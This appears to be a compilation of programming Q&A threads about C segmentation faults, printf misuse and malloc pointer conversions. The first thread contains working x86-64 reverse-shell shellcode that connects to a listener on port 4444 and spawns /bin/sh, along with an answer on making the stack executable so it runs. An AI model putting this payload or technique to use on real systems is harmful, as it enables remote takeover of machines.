my payload asm works , but I tried to embed to my own c program it works. conect to my nc port 4444 then brake the conection . I dont why this it happen if I tested this example on my asm executable and it works perfectly , but on my c program not. what can I do ? how can I debug it?
#include <stdio.h>
unsigned char random[] = "0E249hvzColk1lZ4Vk1eccJM07x2FuitUVsliNPA5FybQn-Ny7DQJ0t-JCvDnm-mZY8YkyOtj6xgN1AUKzcBtr9rRCdGlZCjNnOKGbMzfpQQUampvZsqE0MRDhcvyvpOWzqZG5QJGBuL4-u0MipHq1ioOyNdcWcsRF0zPBd7iI76tTK5CPeDhklfSNQKaw50tsA1lEXDl7mVcvre9b6I-cUR1hYg2oLC6W0zwznvIizbea21OOB9oke5hYdWSSmI181bwvP6IuR20HIu1rGjKgnjHbClcMt9DWBOHBrtxSVUddgparNs5mR3lK3AtY85DN9W2ikX0lOSZbgcB47KC-wSGYRWOuqj1G8ebqUIArlnGk1TBKdwmezfz7RXHsa0EBlFRz60H9lDyQjJb31e78Ff1xXsFEJ5mnkU9rL5NDxPxyOkqxQoO1-6iR62feGLvQdUKfqXF2G0X8NMYqx0UWa78ezsOGsqdnwU5ktwMm2jaPZ5F1G8GKJFYGr7SXz6";
//\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 64 bits shell
unsigned char shellcode[] = "\x68\xac\x14\x0a\x02\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x6a\x10\x6a\x29\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89\xc7\x5a\x58\x48\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05";
int main(void){
((void (*)())shellcode)();
}
./custom
Segmentation fault (core dumped)
You are trying to convert an object pointer shellcode to a function pointer in the following statement:
((void (*)())shellcode)();
This can lead to undefined behaviour.
C99 standard states this on the section on function pointers:
Even with an explicit cast, it is invalid to convert a function pointer to an object pointer or a pointer to void, or vice versa.
You can see this when you compile your code with -pedantic-errors option in GCC which gives the following error.
<source>: In function 'main':
<source>:11:6: error: ISO C forbids conversion of object pointer to function pointer type [-Wpedantic]
See live demo here.
The solution to this is probably setting the executable stack option during compilation by using the -z execstack with GCC.
It has something to do with the way the shellcode is being called via a pointer to a function. The pointer is being passed around and ends up being on the stack during the call trampoline, and so the stack must be executable for it to work.
Related
I am aware that the code I show below is incorrect, but I wonder why the stdio.h is blamed with:
appeared exeption in <stdio.h> script:
__retval = __mingw_vfprintf( stdout, __format, __local_argv );
segmentation fault int stdout.
Code for beginners, actually:
#include <stdio.h>
int main()
{
printf(12345);
return 0;
}
I know that is might be incorrect, but i think, error should appeared in my file, but not in the script <stdio.h> file.
The main question for me, is why if i would call printf(Hello World), it won't show me the <stdio.h> error, but as for 12345 it shows? I started C language today, no practice, sorry)
The problem is in your code of course:
printf(12345);
The first parameter of the printf function has to be a format string. In your case you pass the integer converted to pointer (it is very unlikely this pointer to reference the valid memory). printf function tries to derefence it and you get a segfault.
To print 12345 you need to:
printf("%d", 12345);
The main question for me, is why if i would call printf(Hello World),
it won't show me the <stdio.h> error
printf("hello world"); is correct as the fist parameter is a valid C string.
First of all, this code is not valid C. A correctly configured compiler (https://software.codidact.com/posts/282565) may simply refuse to generate a program, because of the "Pointer from integer/integer from pointer without a cast" issues.
Some compilers like gcc/mingw might allow implicit conversions from integer to pointers when you run them in lax, non-standard mode. 12345 is then treaded as the address value of the char* format string that printf expects.
As for why the code crashes in some stdio.h header, it first of all depends on how you execute the code - you'll have to run it in a debugger (mingw/gdb) to know where it crashed, or otherwise the OS will just say access violation (Windows) or seg fault (*nix).
When running this in mingw64/gdb, I can reproduce the crash as:
#2 0x00007ff7f4471817 in printf (__format=0x3039 <error: Cannot access memory at address 0x3039>) at c:/program files/mingw-w64/x86_64-w64-mingw32/include/stdio.h:372
It points at the printf function inside stdio.h which as it turns out is just a thin wrapper around an internal library function __mingw_vfprintf:
__retval = __mingw_vfprintf( stdout, __format, __local_argv );
This is as deep as my mingw64 lets me go in C code, likely the definition of this function sits in a static linked lib and there's no C code for it that I have access to.
As for the machine code, it crashes on this specific assembler instruction:
0x7ff7f44758e2 movzx eax,BYTE PTR [rax]
This appears to happen during the stacking required by the __cdecl calling convention for the printf call. rax contains the magic number 0x3039 aka 12345 when this happens. Exactly what caused the MMU to freak out, I don't know, but we do know that 0x3039 is not a valid address (and misaligned at that). Some x86 assembler guru can perhaps explain why exactly this happened in this particular ISA... but this is already way too deep for the average C programmer to care.
I am trying to create a C program in a Linux VM that uses a char array. I found that every time I try to do anything to the array, e.g. sizeof(), I get a segmentation fault. I wrote a test program that just made an array and got sizeof() as a test, and sure enough I get the same error.
I think this is related to the program running in a VM. Here is the code:
#include <stdio.h>
#include <stdlib.h>
#define ARR_LENGTH(x) sizeof(x) / sizeof(x[0])
int main()
{
printf("Hllo world!\n");
int sent = 10;
char hello[] = {'a','b','c','d','e','f','g','h'};
printf(sizeof(hello));
printf(ARR_LENGTH(hello));
return 0;
}
Am I missing something, or is the VM likely the problem?
You just need to read the printf() documentation carefully. It doesn't take an integer as its first argument.
The problematic lines are:
printf(sizeof(hello));
printf(ARR_LENGTH(hello));
It should be:
printf("%zu\n", sizeof(hello));
printf("%zu\n", ARR_LENGTH(hello));
(%zu is the format specifier to print size_t values).
My gcc compiler produces the warning:
warning: passing argument 1 of ‘printf’ makes pointer from integer
without a cast [-Wint-conversion]
for those two statements. Up the compiler warning levels (in case you don't get them alrready).
After developing a new firmware (main and libraries) with CCS for my CC2538, all errors are debugged, and now, device is working fine.
As from CCS I can not flash the firmware permanently, I'm working with IAR to develop this action.
On IAR, I have created the workspace, the project and included all libraries and files needed to compile the firmware. But, compilation fails due to incompatible types errors.
Error[Pe144]: a value of type "int" cannot be used to initialize an
entity of type "signed short *"
int16_t *accData[3] = malloc(sizeof(int16_t));
Error[Pe513]: a value of type "int" cannot be assigned to an entity
of type "signed short *"
int16_t *accData[3] = malloc(sizeof(int16_t));
Error[Pe120]: return value type ("signed short **") does not match
the function type ("signed short*")
int16_t * lsm303d_readAccData(void)
{
int16_t *accData[3] = malloc(sizeof(int16_t));
...
return accData;
}
Which is the root cause of these errors?
Maybe, any option of the compiler? Do I need to add any file? Or prototype on the code?
KR!
Which is the root cause of these errors?
"a value of type "int"" is the root cause. There should be no int here! Just the signed short* (which is your int16_t*) and a void* from malloc.
This is because you are using a C90 compiler and forgot to #include <stdlib.h>. Upon finding a function with no prototype, C90 would implicitly assume you want a function returning int, which explains the compiler errors "a value of type "int"". But malloc actually returns a void*, so this is a severe bug. Solve this by including the header stdlib.h where malloc is found.
This undesired and irrational behavior of the language was fixed 17 years ago. Consider using a modern compiler instead, or configure your compiler to use the current C language standard (ISO 9899:2011).
That being said, this code doesn't make any sense either:
int16_t *accData[3] = malloc(sizeof(int16_t));
You probably meant
int16_t *accData = malloc( sizeof(int16_t[3]) );
The first error is somewhat misleading. It seems to indicate that you forgot to include <stdlib.h>, so malloc is undefined and the compiler assumes it returns int.
In any case, you are assigning a pointer to an array: this is incorrect.
Returning the address of a local automatic array is incorrect too.
You should define accData as a pointer instead of an array, and make it point to an allocated array of int16_t. You seem to want this array to hold 3 elements, otherwise modify the code accordingly:
#include <stdlib.h>
int16_t *lsm303d_readAccData(void) {
int16_t *accData = malloc(sizeof(int16_t) * 3);
...
return accData;
}
You should configure the compiler to issue more warnings and refuse obsolete constructions such as implicit int. For gcc, add -std=c99 or -std=c11 and -Wall -Wextra -Werror.
I have a very simple problem that I cannot seem to figure out. I have this:
char* array[10];
So, I then have 10 char* pointers on the stack. Now all I want to do is allocate memory for each pointer. As in:
array[0] = malloc(sizeof(char)*6);
And then store some characters at this location:
strncpy(array[0], "hello", sizeof("hello"));
Yet, I am getting a compile-time error at the first step of allocating the memory:
error: invalid conversion from ‘void*’ to ‘char*’ [-fpermissive]
But it works as expected at Ideone.
What am I doing wrong? I understand what I am trying to do, but I do not understand why it does not work. At each index in array there is a char*. By using the = symbol I am trying to assign each pointer to a block of memory allocated to it.
What am I doing wrong?
Compiling with g++ -g -Wall
What am I doing wrong? Compiling with g++ -g -Wall
g++ always compile a .c file as .cpp. Compile it with a C compiler (like GCC). In C++, you must have to cast the return value of malloc. In case of C, do not cast return value of malloc.
Your code is valid C, but you are compiling your code as C++, which, unike C, has no implicit conversion from void* to char*.
If you intended to compile the code as C (in which case you do not require the cast), use gcc, instead of g++. Also make sure you your file does not end with an extension that gcc interprets as C++ (.cpp, .C, .cxx or .cc). Or play it safe and use the .c extension.
If you want to make the code valid C++, you need to cast to char*:
array[0] = (char*)malloc(sizeof(char)*6);
This is probably the most visible difference between C and C++: C can implicitely convert the void* returned by malloc() to any other type, C++ can't.
Now, by compiling with g++, or by using a .cpp file name extension, you are compiling your code as C++ code, not C code. Use gcc instead and make sure that your source file ends with .c, and your code will compile fine.
An alternative solution is to add the cast that C++ requires: array[0] = static_cast<char*>(malloc(sizeof(char)*6));
As others have pointed out, C++ does not allow an implicit conversion from void * to char *.
If this is really supposed to be C++ code, I'd advise using new instead of malloc for dynamic memory allocation, and for this particular code I'd advise using a vector of string instead of an array of char *:
#include <vector>
#include <string>
...
std::vector< std::string > array;
...
array[0] = "hello"; // literal is implicitly converted to an instance of string
The string and vector implementations do all the memory management for you.
If this is really supposed to be C code, simply compile it using gcc instead of g++.
Try something like this:
array[0] = static_cast<char *>(malloc(sizeof(char)*6));
How should I cast the result of malloc in C++?
I have code in C (linux(x86_64)) some like this:
typedef struct
{
char k[32];
int v;
}ABC;
ABC states[6] = {0};
ABC* get_abc()
{
return &states[5];
}
while in main():
int main()
{
ABC *p = get_abc();
.
.
.
printf("%d\n", p->v);
}
I am getting segmentation fault at printf statement while accessing p->v. I tried to debug it from gdb and it says "can not access the memory". One important thing here is that when I compile this code, gcc throws me a warning on ABC *p = get_abc(); that I am trying to convert pointer from integer. My question here is that I am returning address of structure from get_abc() then why compiler gives me such warning? why compiler considers it as integer? I think I am getting segmentation fault due to this warning as an integer can not hold memory address in x86_64.
Any help would be appreciated.
Define the get_abc prototype before main function. If function prototype is not available before that function call means, compiler will treat that function by default as passing int arguments and returning int. Here get_abc actually returning 8 byte address, but that value has been suppressed to 4 bytes and it is stored in ABC *p variable which leads the crash.
ABC* get_abc();
int main()
{
ABC *p = get_abc();
}
Note : This crash will not occur in 32 bit machine where size of int and size of address is 4 bytes, because suppression will not happen. But that warning will be there.
You haven't shown us all your code, but I can guess with some confidence that the get_abc() and main() functions are defined in separate source files, and that there's no visible declaration of get_abc() visible from the call in main().
You should create a header file that contains a declaration of get_abc():
ABC *get_abc();
and #include that header both in the file that defines get_abc() and in the one that defines main(). (You'll also need header guards.) You'll need to move the definition of the type ABC to that header.
Or, as a quick-and-dirty workaround, you can add an explicit declaration before your definition of main() -- but that's a rather brittle solution, since it depends on you to get the declaration exactly right.
In the absence of a visible declaration, and undeclared function is assumed to return int. The compiler sees your call to get_abc(), generates code to call it as if it returned an int, and implicitly converts that int value to a pointer. Hilarity ensues.
Note: There actually is no implicit conversion from int to pointer types, apart from the special case of a null pointer constant, but many compilers implement such an implicit conversion for historical reasons. Also, the "implicit int" rule was dropped in the 1999 version of the standard, but again, many compilers still implement it for historical reasons. Your compiler should have options to enable better warnings. If you're using gcc, try gcc -pedantic -std=c99 -Wall -Wextra.